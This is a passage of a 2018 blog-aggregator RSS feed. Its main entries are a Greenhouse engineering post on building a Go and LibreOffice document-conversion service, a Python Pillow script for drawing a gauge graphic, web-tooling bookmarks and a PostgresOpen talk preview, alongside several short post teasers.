Throwing more memory and whatnot at huge data sets is also simply more scalable than using more artist resources, relatively speaking.&lt;/p&gt;

&lt;p&gt;Both data sets come with detailed README documents; the Moana Island Scene’s documentation in particular is quite extensive and contains a significant amount of information about how assets are authored and structured at Disney Animation, and how renders are lit, art-directed, and assembled at Disney Animation.
I highly recommend reading all of the documentation carefully if you plan on working with these data sets, or just if you are generally curious about how production scenes are built at Disney Animation.&lt;/p&gt;

&lt;p&gt;Personally, I’m very much looking forward to seeing what the rendering community (and the wider computer graphics community at large) does with these data sets!
I’m especially excited to see what the realtime world will be able to do with this data; seeing the Moana Island Scene in its full glory in Unreal Engine 4 or Unity would be something indeed, and I think these data sets should provide a fantastic challenge to research into light transport and ray tracing speed as well.
If you do interesting things with these data sets, please write to us at the email addresses in the provided README files!&lt;/p&gt;

&lt;p&gt;Also, Matt Pharr &lt;a href="http://pharr.org/matt/blog/2018/07/08/moana-island-pbrt-1.html"&gt;has written on his blog&lt;/a&gt; about how the Moana Island Scene has further driven the development of PBRT v3.
I highly recommend giving Matt’s blog a read!&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Tue, 03 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2018/07/disney-animation-datasets.html</guid></item><item><title>Slaying The Monolith</title><link>https://adriano.fyi/posts/2018-07-03-slaying-the-monolith/</link><description>&lt;p&gt;This is the first in what I hope becomes a series of posts on how we’re slaying the monolith at Greenhouse. Over the course of the next year, Greenhouse Engineering is aiming to break down our monolithic Rails application into a more scalable and robust collection of services. This won’t happen quickly, but it will happen deliberately and with the clear goal of safely scaling Greenhouse Recruiting into the future.&lt;/p&gt;
&lt;p&gt;This is a cross-post from Greenhouse&amp;rsquo;s Engineering blog, &lt;em&gt;&lt;a href="https://medium.com/in-the-weeds/slaying-the-monolith-3b7a017faf02"&gt;In the Weeds&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h1 id="documents-on-documents"&gt;Documents On Documents&lt;/h1&gt;
&lt;p&gt;It probably goes without saying that Greenhouse Recruiting handles a lot of documents. Every day 75,000 people apply to jobs through Greenhouse Recruiting. Nearly every one of them has a resume and cover letter and every document must be converted to a format compatible with Greenhouse’s desktop and mobile applications. On top of that, every document gets thumbnailed and scanned for viruses and malware.&lt;/p&gt;
&lt;p&gt;Let’s get this out of the way — thumbnails are the easy part. And you might be wondering why documents need to be converted at all. Why not leave them in their original format? Well, because for better or worse, a large percentage of every resume ever authored since the 1980s is in a format that we all know and love — Microsoft Word — a format that every browser neither knows nor loves.&lt;/p&gt;
&lt;p&gt;Browsers can’t display Word documents natively. It’s possible to render Word documents in browser plugins, but it’s simply not acceptable to build a great product like Greenhouse Recruiting and ask users to install a browser plugin to use one of its core features: application review. And boy do customers take application review seriously; whether on desktop or mobile, it’s a critical part of the hiring process, and it must work flawlessly on every platform. Naturally, cover letters and resumes are a big part of application review and we needed a way for recruiters and hiring managers to review them as painlessly as possible. For years we’ve had an internal microservice that scans documents for viruses and malware, but we’ve relied on a separate third party service to perform document conversion, thumbnail generation, and previewing … until now.&lt;/p&gt;
&lt;h1 id="how-we-arrived-here"&gt;How We Arrived Here&lt;/h1&gt;
&lt;p&gt;Technical decisions at early stage startups are usually born out of absolute necessity and with very little room for failure. Decisions made at the six month mark make a lot less sense two or more years later. So when we decided to outsource document conversion and previewing at Greenhouse, it made a lot of sense — it was the right thing to do. The cost was nominal and no Greenhouse engineers had to maintain or develop it; they could focus on our core product. Big wins all around.&lt;/p&gt;
&lt;p&gt;But when third-party services start costing an engineers’ salary every year, at the very least you should begin questioning whether your rationale for having purchased the service still holds. As a more mature company with the good fortune of having built a product that our customers love, Greenhouse is obligated to make the sort of strategic decisions that optimize long-term sustainability over the short-term fight for survival. It was time to bring documents in house.&lt;/p&gt;
&lt;h1 id="dochouse-is-born"&gt;Dochouse is Born&lt;/h1&gt;
&lt;p&gt;We began this project with a few guiding principles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Previewing documents could work better, but not worse than with our 3rd party provider or else recruiters would be rioting in the streets.&lt;/li&gt;
&lt;li&gt;Word documents had to be converted to some other format.&lt;/li&gt;
&lt;li&gt;Some other format would probably be PDF because PDFs are portable, right? (spoiler alert: they are)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Early on we mulled over the idea of bolting Dochouse onto our Rails monolith. It’s never easy dropping the habit of throwing everything onto that familiar pile of code you’ve worked on the last X years. It’s comfortable there. The problem is, that pile of code is a productivity-sucking monster. It’s where “move fast and break things” goes to die a very slow, and very miserable death. The monolith moves slow and breaks your spirit.&lt;/p&gt;
&lt;p&gt;So we decided on a two-pronged solution. Greenhouse Recruiting would get a shiny new PDF.js viewer that lives on our CDN, and some other new and shiny thing would start converting documents from Microsoft Word, TXT, and RTF to PDF. In other words, PDF was becoming la lingua franca for documents.&lt;/p&gt;
&lt;p&gt;The commercial document conversion space is full of capable products, but we don’t like black boxes at Greenhouse and we certainly don’t like swapping out one black box as a service (BBaS) for another black box on premises (BBoP — let’s make these acronyms happen 🤞). Anyone who has done work in this space can probably tell where this is headed by now: LibreOffice and open source software to the rescue (OSS &amp;gt;BBaS &amp;amp;&amp;amp; BBoP )! You may be thinking that LibreOffice is what your company’s resident neckbeards use to annoy business and IT folks with their wonky document formats, and you’re right, but it’s also what powers Collabora’s fantastic productivity suite and document conversion service. Indeed, Collabora’s Michael Meeks provided critical insights as we navigated the waters of running LibreOffice at scale (more on that shortly!).&lt;/p&gt;
&lt;p&gt;The remainder of the stack consists of a simple Golang web server wrapping LibreOffice for conversion and Libvips for thumbnail generation. Libvips is fast, stable, and more importantly doesn’t throw temper tantrums when applicants upload corrupt or password-protected PDF files (yes, that happens. often). Finally, when documents are converted and thumbnails generated, everything gets dumped into a secure Amazon S3 bucket. This all sounds great and ready to ship; what could go wrong?&lt;/p&gt;
&lt;h1 id="the-rollout"&gt;The Rollout&lt;/h1&gt;
&lt;p&gt;Like any self-respecting SaaS company, we obsessively use our own products in house and we maintain fine-grained control over feature rollouts. And a feature like this is not something that gets rolled out to every customer at once, and certainly not in a way that users are able to see. So our zero-impact rollout strategy looked something like this (try to guess the phase where things began to catastrophically fail):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Begin rolling Dochouse out to our own company’s recruiting team; in parallel with the existing system&lt;/li&gt;
&lt;li&gt;Include small customers&lt;/li&gt;
&lt;li&gt;Include small and medium customers&lt;/li&gt;
&lt;li&gt;Include small, medium, and enterprise customers&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you guessed that it failed in phase 1, you get an A+. After less than a day of processing documents for Greenhouse Software’s instance of Greenhouse Recruiting, the system ground to a screeching halt. No documents were processing, CPU was pegged at 100%, memory consumption was through the roof—turnkey black box solutions had a sudden allure.&lt;/p&gt;
&lt;p&gt;Let me preface this by saying LibreOffice is an absolute triumph of the open source movement. Most users never have the opportunity of seeing it fail because 1. it’s good, and 2. most users aren’t opening tens of thousands of documents in it every day. Any time you use software in unexpected ways, failure should be the expected outcome. Similarly, with any software that handles user input, failure should be the expected outcome.&lt;/p&gt;
&lt;p&gt;
&lt;input hidden="hidden" id="zoomCheck-fc1e4" type="checkbox" /&gt;
&lt;label for="zoomCheck-fc1e4"&gt;
  &lt;img alt="Occasionally LibreOffice can&amp;rsquo;t event " class="zoomCheck" src="https://adriano.fyi/img/negative_man.png" /&gt;
&lt;/label&gt;
&lt;/p&gt;
&lt;p&gt;Because people upload weird things — text documents with Word document extensions (.doc/.docx). Word documents with text extensions (.txt). Clips of The Bachelor with rich text format extensions (.rtf). Your garden variety weird stuff; failures are bound to happen. The most insidious, though, is a Word document with the correct file extension; a file to which LibreOffice promptly responds, “Ok, I’ve got this” — followed by several minutes of silence, and finally — “I can’t even. I’ve lost my capacity to even with this document”. These documents may be valid in Microsoft Word, but they’re LibreOffice kryptonite. This is where Dochouse was on day one — with significantly less than one percent of real-world load, Dochouse couldn’t even. We needed to get a handle on LibreOffice processes; they were running amok with neither time nor resource bounds. LibreOffice is persistent; when it encounters documents that it can’t convert, it doesn’t quit. Which, for Dochouse, meant that goroutines and memory consumption were on a monotonic path to abject failure. A full production rollout was absolutely out of the question.&lt;/p&gt;
&lt;p&gt;Collabora had already solved this problem by incorporating JODConverter into their products. JODConverter manages a pool of Libre/Open Office instances; it detects when instances get stuck and evacuates them from the worker pool. Additionally it adds work deadlines around every job. This is exactly what we needed. The problem is that JODConverter is written in Java and Java isn’t nearly as hip as Golang. I mean, Golang has a cute gopher logo and Java has what … Duke? Please.&lt;/p&gt;
&lt;p&gt;
&lt;input hidden="hidden" id="zoomCheck-e750d" type="checkbox" /&gt;
&lt;label for="zoomCheck-e750d"&gt;
  &lt;img alt="Golang Gopher" class="zoomCheck" src="https://adriano.fyi/img/gopher.png" /&gt;
&lt;/label&gt;
&lt;/p&gt;
&lt;p&gt;Case closed.&lt;/p&gt;
&lt;p&gt;Poor humor aside, we love Golang at Greenhouse for legitimate reasons. Go code is beautifully simple, and channels/CSP are a delight to work with compared to other concurrency models. We knew Dochouse would need a high degree of concurrency, we just weren’t sure to what extent (turns out in production Dochouse averages ~70 concurrent goroutines); so Golang was a natural choice. Personally, I don’t consider myself an accomplished Go developer. I fall somewhere between novice and “pretty alright”, but that doesn’t change how I feel about the language.&lt;/p&gt;
&lt;p&gt;Armed with the universal human desire not to maintain Go code that contains embedded Java/JODConverter (&lt;code&gt;go → cgo →  JNI →  Java = NOPE!&lt;/code&gt;)and the knowledge that a simple process barrier between LibreOffice and the Golang web server would solve all of our woes — we built a minimal process manager and worker pool in Go and exposed it locally over a tcp/ip RPC interface. The process manager assigns two things to every worker process in the pool.&lt;/p&gt;
&lt;p&gt;A status change channel to convey changes in worker status to listeners: e.g. missed work deadline notifications, process terminations.
A monitor goroutine that waits for events on the status change channel and takes action. The most common action is restarting workers that are in a bad state.
Most importantly, what this process barrier gives us is the critical ability to kill unhealthy LibreOffice workers and assign deadlines to RPC calls. In short, it’s what prevents a single bad document conversion from dragging the entire system down with it, allowing us to scale from tens of documents per day to tens of thousands.&lt;/p&gt;
&lt;p&gt;If we built this on our Rails monolith, we would have been in for a world of hurt. What would have happened had our production application been directly exposed to runaway LibreOffice processes? What would the development and debugging lifecycle look like had this been done inside of a Sidekiq worker? Would our infrastructure and security teams be comfortable shipping LibreOffice in the monolith Docker image? I feel crippled by indecision even asking these questions hypothetically. I’d rather be building things and making real progress.&lt;/p&gt;
&lt;p&gt;Interested in working on projects like Dochouse that impact thousands of users every day? &lt;a href="https://grnh.se/716d31af1"&gt;Greenhouse is hiring&lt;/a&gt; Software Engineers. Join us!&lt;/p&gt;</description><author>Adriano Caloiaro's personal blog</author><pubDate>Tue, 03 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://adriano.fyi/posts/2018-07-03-slaying-the-monolith/</guid></item><item><title>Phoenix Command</title><link>https://mbutler.org/phoenix-command/</link><description>see also: phoenixcommand.net In February of this year, I became fascinated with this 30 year-old game called Phoenix Command. Phoenix Command was a role-playing game system published by Leading Edge Games, and copyrighted by Barry Nakazono and David McKenzie. Various versions of the system featured in the games Morning Star Missions, Living Steel, and Aliens [&amp;#8230;]</description><author>mbutler</author><pubDate>Mon, 02 Jul 2018 23:02:59 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/phoenix-command/</guid></item><item><title>Automatic ModelState Validation for ASP.NET Core</title><link>https://daniellittle.dev/automatic-modelstate-validation</link><description>Model State Validation for a JSON API isn't too hard because you only need to send back validation errors, especially with the  attribute…</description><author>Daniel Little Dev</author><pubDate>Mon, 02 Jul 2018 13:35:58 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/automatic-modelstate-validation</guid></item><item><title>Proctor Postmortem</title><link>https://blog.varunramesh.net/posts/proctor-postmortem/</link><description>This is a postmortem for Proctor, the first of three horror games that I recently released.</description><author>Varun Ramesh's Blog</author><pubDate>Mon, 02 Jul 2018 03:49:25 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/proctor-postmortem/</guid></item><item><title>Coco</title><link>https://olshansky.info/movie/coco/</link><description>Olshansky's review of Coco</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 01 Jul 2018 11:37:51 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/coco/</guid></item><item><title>China court that likes blockchain shows EU how to...</title><link>https://stop.zona-m.net/2018/07/china-court-that-likes-blockchain-shows-eu-how-to.../</link><description>&lt;p&gt;A Chinese court just issued a ruling that may have huge implications for blockchain in China, and give EU lawmakers some good ideas.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 01 Jul 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/china-court-that-likes-blockchain-shows-eu-how-to.../</guid></item><item><title>Web serving tools bookmarks</title><link>https://xenodium.com/web-serving-tools-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://certbot.eff.org/"&gt;Certbot: Automatically enable HTTPS on your website, deploying Let's Encrypt certificates&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.timdoug.com/log/2018/08/04/#wireguard_macos"&gt;How to configure WireGuard to tunnel traffic from a macOS client through a Debian server with IPv4 and IPv6&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://irreal.org/blog/?p=7306"&gt;HTTPS Is Easy (Irreal)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17689188"&gt;I made my own WireGuard VPN server (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jsonapi.org/"&gt;JSON:API — A specification for building APIs in JSON&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mirage.io/"&gt;MirageOS: high-performance network applications across a variety of cloud computing and mobile platforms&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nginxconfig.io/"&gt;nginxconfig.io&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alex.dzyoba.com/blog/nginx-features-for-developers/"&gt;Nice nginx features for developers | There is no magic here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://idiallo.com/blog/handling-1-million-web-request"&gt;Poor man's way of handling 1.3 million web request&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.getpostman.com/"&gt;Postman (API Development Environment)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tools.suckless.org/quark/"&gt;quark: an extremely small and simple HTTP GET/HEAD-only web server for static content (suckless.org tools)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/pirate/wireguard-docs"&gt;The Missing Wireguard Documentation&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/ghardin137/web-authentication-for-actual-humans-part-two-ea6"&gt;Web Authentication for Actual Humans, Part Two - DEV Community&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 01 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/web-serving-tools-bookmarks</guid></item><item><title>2018-07-01</title><link>https://ho.dges.online/pictures/2018-07-01/</link><description/><author>ho.dges.online</author><pubDate>Sun, 01 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-07-01/</guid></item><item><title>Indian companies learning about file formats the hard way</title><link>https://stop.zona-m.net/2018/06/indian-companies-learning-about-file-formats-the-hard-way/</link><description>&lt;p&gt;Some Indian companies recently got a lesson about file formats that the WHOLE world needs to learn. But it is a lesson that is at least ten years old.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 30 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/indian-companies-learning-about-file-formats-the-hard-way/</guid></item><item><title>Hello World</title><link>https://blog.herlein.com/post/hello-world/</link><description>&lt;p&gt;I&amp;rsquo;ve been procrastinating setting up a real blog for&amp;hellip; well, years.  Now it&amp;rsquo;s here.  Read on for the why and the how.&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Sat, 30 Jun 2018 19:30:29 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/hello-world/</guid></item><item><title>Announcing Layabout</title><link>https://tuckersiemens.com/posts/announcing-layabout/</link><description>&lt;p&gt;Today I'm announcing &lt;a href="https://layabout.readthedocs.io/en/latest/"&gt;Layabout&lt;/a&gt;, my first official Python library. Layabout is
a small event handling library on top of the
&lt;a href="https://api.slack.com/rtm"&gt;Slack Real Time Messaging (RTM) API&lt;/a&gt;. You can get it right now
on &lt;a href="https://pypi.org/project/layabout"&gt;PyPI&lt;/a&gt;.&lt;/p&gt;</description><author>Reilly Tucker Siemens</author><pubDate>Sat, 30 Jun 2018 10:16:52 GMT</pubDate><guid isPermaLink="true">https://tuckersiemens.com/posts/announcing-layabout/</guid></item><item><title>A Glance through Docusaurus, Docz, and React-Static</title><link>https://www.swyx.io/a-glance-through-docusaurus-docz-and-react-static-47in</link><description>&lt;p&gt;a survey of new documentation/static site generators&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sat, 30 Jun 2018 05:18:35 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/a-glance-through-docusaurus-docz-and-react-static-47in</guid></item><item><title>Hyperlinks in GNOME terminal</title><link>https://purpleidea.com/blog/2018/06/29/hyperlinks-in-gnome-terminal/</link><description>&lt;p&gt;Over the years I&amp;rsquo;ve learned about many of the advantages of using a modern
terminal and shell. I&amp;rsquo;m talking about using &lt;a href="https://www.gnu.org/software/bash/"&gt;&lt;code&gt;bash&lt;/code&gt;&lt;/a&gt;
with &lt;a href="https://en.wikipedia.org/wiki/GNOME_Terminal"&gt;GNOME terminal&lt;/a&gt; on a modern
&lt;a href="https://getfedora.org/"&gt;GNU/Linux&lt;/a&gt; distribution.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://purpleidea.com/blog/2013/03/22/running-your-file-manager-from-a-terminal/"&gt;I particularly like switching between the terminal and GUI applications.&lt;/a&gt;
It&amp;rsquo;s now even better.&lt;/p&gt;


&lt;br /&gt;&lt;span style="text-decoration: underline; font-weight: bold;"&gt;Automatic Hyperlinks&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;

&lt;p&gt;Occasionally, some program running in your shell might output what looked like a
link:&lt;/p&gt;

&lt;table style="text-align: center; width: 80%; margin: 0 auto;"&gt;&lt;tr&gt;&lt;td&gt;
&lt;a href="gnome-terminal-link.png"&gt;&lt;img class="alignnone size-full" src="gnome-terminal-link.png" width="100%" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;gnome terminal and vte will automatically add links to text that looks like a web hyperlink or an email address&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

&lt;p&gt;They can be seen when you hover over them, and a right-click will display a
useful context menu:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Sat, 30 Jun 2018 04:45:00 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/06/29/hyperlinks-in-gnome-terminal/</guid></item><item><title>Structuring Deep Learning Projects</title><link>https://www.khanna.law/blog/structuring-deep-learning-projects</link><description>You want to train a deep neural network. You have the data. It's labeled and wrangled into a useful format. What do you do now?</description><author>Khanna Law Blog</author><pubDate>Sat, 30 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.khanna.law/blog/structuring-deep-learning-projects</guid></item><item><title>How to create a gauge / speedometer graphic with Python</title><link>https://andrewshay.me/blog/how-to-create-a-gauge-speedometer-graphic-with-python</link><description>This article discusses how to easily create a speedometer / gauge image in Python with only the Pillow library.  &lt;br /&gt;
&lt;br /&gt;
View source code and images on GitHub: &lt;a href="https://github.com/Andrew-Shay/python-gauge"&gt;python-gauge&lt;/a&gt;  &lt;br /&gt;
&lt;br /&gt;
I needed to create a gauge graphic in Python but I found many libraries did not have the graphic I needed or required that the gauge be rendered in a browser since the underlying library used was JavaScript. This script only requires the Pillow library since it is generated using two png images.  &lt;br /&gt;
&lt;br /&gt;
The gauge graphic is separated into two images. The first image is the needle that points to a number on the gauge.  The second image is the gauge without the needle.  The final gauge image is generated by rotating the needle image then pasting it on the gauge.  &lt;br /&gt;
&lt;br /&gt;
The script is simple.  The gauge is half a circle therefore the needle needs to rotate between 0 and 180 degrees.  The gauge goes from 0 to 100.  So if you want the gauge to point to 20, the script just takes 20% of 180 degrees to rotate the needle.&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;python_gauge.py&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="code-pre"&gt;
&amp;quot;&amp;quot;&amp;quot;
Copyright (C) 2018 FireEye, Inc., created by Andrew Shay. All Rights Reserved.
&amp;quot;&amp;quot;&amp;quot;

import PIL

from PIL import Image

percent = 20  # Percent for gauge
output_file_name = &amp;#x27;new_gauge.png&amp;#x27;

# X and Y coordinates of the center bottom of the needle starting from the top left corner
#   of the image
x = 825
y = 825
loc = (x, y)

percent = percent / 100
rotation = 180 * percent  # 180 degrees because the gauge is half a circle
rotation = 90 - rotation  # Factor in the needle graphic pointing to 50 (90 degrees)

dial = Image.open(&amp;#x27;needle.png&amp;#x27;)
dial = dial.rotate(rotation, resample=PIL.Image.BICUBIC, center=loc)  # Rotate needle

gauge = Image.open(&amp;#x27;gauge.png&amp;#x27;)
gauge.paste(dial, mask=dial)  # Paste needle onto gauge
gauge.save(output_file_name)

&lt;/pre&gt;
&lt;br /&gt;
To modify the gauge image, modify &lt;code&gt;gauge.psd&lt;/code&gt;.  &lt;code&gt;gauge.png&lt;/code&gt; should be the gauge without the needle (hide the needle layer). &lt;code&gt;needle.png&lt;/code&gt; should only be the needle on a transparent background and should point at 50 (hide all layers except needle).&lt;br /&gt;
&lt;br /&gt;</description><author>Andrew Shay's Blog and Digital Garden</author><pubDate>Sat, 30 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://andrewshay.me/blog/how-to-create-a-gauge-speedometer-graphic-with-python</guid></item><item><title>Hello World</title><link>https://adriano.fyi/posts/2018-06-30-hello-world/</link><description>&lt;p&gt;I&amp;rsquo;ve been wanting to scratch a writing itch for quite a while. Over the last twelve months I&amp;rsquo;ve had the good fortune of having visited nine countries. And every one of those trips involving some amazing stories with great people. In April, I broke my collarbone while mountain biking in Peru (I&amp;rsquo;ll do a writeup on that at another time), which provided no small amount of downtime to think about what to do with my time when I&amp;rsquo;m not out being active.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;
&lt;input hidden="hidden" id="zoomCheck-84324" type="checkbox" /&gt;
&lt;label for="zoomCheck-84324"&gt;
  &lt;img alt="Mountain biking with Enrique and Val outside Ollatatataytambo, Peru" class="zoomCheck" src="https://adriano.fyi/img/fullsizeoutput_da0.jpeg" /&gt;
&lt;/label&gt;
&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;That downtime lead me to identify at least three topics that I&amp;rsquo;d like to cover&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;My Travels (as I&amp;rsquo;ve already mentioned)&lt;/li&gt;
&lt;li&gt;Adventure skill building (e.g. mountain biking, improving my fitness for long-distance road cycling, something new?)&lt;/li&gt;
&lt;li&gt;Technology and ideas that I&amp;rsquo;m hacking on&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I think that last one will come as no surprise to anyone, as I&amp;rsquo;m a consummate nerd. I&amp;rsquo;ve been inteviewing people (sorry friends and friends of friends who I&amp;rsquo;ve been annoying) to learn about some problems that I&amp;rsquo;d like to solve with technology. I anticipate that this will lead to my scratching another itch I&amp;rsquo;ve had in recent years. I&amp;rsquo;m very happy working at Greenhouse Software; the people are fantastic, the work is generally fun and sometimes challenging, and the company culture is world-class. But, sometimes I still want to hack on my own things. Which is why I formed &lt;a href="https://zenitylabs.com" title="Zenity Labs"&gt;Zenity Labs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I hope this is the beginning of a well-maintained blog that&amp;rsquo;s both fun and engaging.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;</description><author>Adriano Caloiaro's personal blog</author><pubDate>Sat, 30 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://adriano.fyi/posts/2018-06-30-hello-world/</guid></item><item><title>IoT is the new plastic</title><link>https://stop.zona-m.net/2018/06/iot-is-the-new-plastic/</link><description>&lt;p&gt;Had you noticed that marketing for the Internet of Things is about &lt;strong&gt;seventy&lt;/strong&gt; years old?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 29 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/iot-is-the-new-plastic/</guid></item><item><title>The legacy vulnerability of the Internet</title><link>https://ilearnt.com/blog/networkdevelopments/</link><description>&lt;p&gt;This article documents developments over the last ten years at all layers of the network stack. It also highlights how vulnerable the current Internet is.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 29 Jun 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/networkdevelopments/</guid></item><item><title>Making the Internet Affordable to Everybody. OK. What now?</title><link>https://stop.zona-m.net/2018/06/making-the-internet-affordable-to-everybody.-ok.-what-now/</link><description>&lt;p&gt;A great project that ended a few months ago did something essential, but it is also something that may hide a bigger problem.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 28 Jun 2018 11:15:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/making-the-internet-affordable-to-everybody.-ok.-what-now/</guid></item><item><title>If you can't do it in a day, you can't do it</title><link>https://blog.harterrt.com/day_barrier.html</link><description>&lt;p&gt;I was talking with Mark Reid
about some of the problems with &lt;a href="coding_in_textboxes.html"&gt;Coding in a GUI&lt;/a&gt;.
He nailed part of the problem with soundbite too good not to share:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"If you can't do it in a day, you can't do it."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a persistent problem with tools that make …&lt;/p&gt;</description><author>blog.harterrt.com</author><pubDate>Thu, 28 Jun 2018 00:21:00 GMT</pubDate><guid isPermaLink="true">https://blog.harterrt.com/day_barrier.html</guid></item><item><title>PostgresOpen 2018 - First look at talks</title><link>/2018/06/27/postgresopen-talk-list/</link><description>&lt;p&gt;&lt;a href="https://2018.postgresopen.org/"&gt;PostgresOpen&lt;/a&gt; is just a few months away and our &lt;a href="https://postgresql.us/events/pgopen2018/sessions/"&gt;list of talks&lt;/a&gt; is now live and available on the PostgresOpen website. This year selecting the talks was the hardest yet not only due to the number of talk submissions, but also the across the board high quality of submissions. There is hopefully something for everyone among the talks, at least if you like Postgres that is.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re thinking about joining us I&amp;rsquo;d love to see you there and buy you a beer or coffee. The conference is September 5-7 in downtown San Francisco, and early bird tickets are open for just another few weeks. If you want to save some money on &lt;a href="https://2018.postgresopen.org/tickets/"&gt;tickets grab it&lt;/a&gt; and the &lt;a href="https://2018.postgresopen.org/venue/"&gt;room&lt;/a&gt; now before things jump.&lt;/p&gt;
&lt;p&gt;But, if you&amp;rsquo;re curious for a sampling of a few of the talks I thought I&amp;rsquo;d break down my top five I&amp;rsquo;m personally most excited about:&lt;/p&gt;
&lt;h3 id="debugging-the-postgres-plannerhttpspostgresqluseventspgopen2018sessionssession551-debugging-the-postgres-planner"&gt;
&lt;div&gt;
&lt;a href="https://postgresql.us/events/pgopen2018/sessions/session/551-debugging-the-postgres-planner/"&gt;Debugging the Postgres planner&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Okay, this one immediately caught my atttention. Melanie will start with the basics of an explain plan to progress down into an actual bug within the Postgres planner, how to can debug it in Postgres, and then write a patch for a fix herself. This talk is well beyond my depth as I&amp;rsquo;ll likely never contribute code to the Postgres planner, but seems extremely entertaining and likely to highlight both performance profiling as well as useful debugging tips.&lt;/p&gt;
&lt;h3 id="cleaning-out-crocodiles-teeth-with-postgresql-indexeshttpspostgresqluseventspgopen2018sessionssession506-cleaning-out-crocodiles-teeth-with-postgresql-indexes-a-story-on-all-the-index-types-in-pg"&gt;
&lt;div&gt;
&lt;a href="https://postgresql.us/events/pgopen2018/sessions/session/506-cleaning-out-crocodiles-teeth-with-postgresql-indexes-a-story-on-all-the-index-types-in-pg/"&gt;Cleaning out Crocodiles teeth with PostgreSQL indexes&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;I saw Louise give a super practical talk on undertanding explain this year in PgDay Paris. It was both valuable for application developers that aren&amp;rsquo;t Postgres experts as well as surfaced knowledge for those that thought they already understood explain. I&amp;rsquo;m excited to hear her take on indexes, but maybe even more excited for the storytelling that will come along with this talk. A talk that can be put to a story always becomes a bit easier to follow the journey than simply the technical facts.&lt;/p&gt;
&lt;h3 id="how-postgresql-extension-apis-are-changing-the-face-of-relational-databaseshttpspostgresqluseventspgopen2018sessionssession491-how-postgresql-extension-apis-are-changing-the-face-of-relational-databases"&gt;
&lt;div&gt;
&lt;a href="https://postgresql.us/events/pgopen2018/sessions/session/491-how-postgresql-extension-apis-are-changing-the-face-of-relational-databases/"&gt;How PostgreSQL extension APIs are changing the face of relational databases&lt;/a&gt;
&lt;/div&gt;
&lt;/h3&gt;
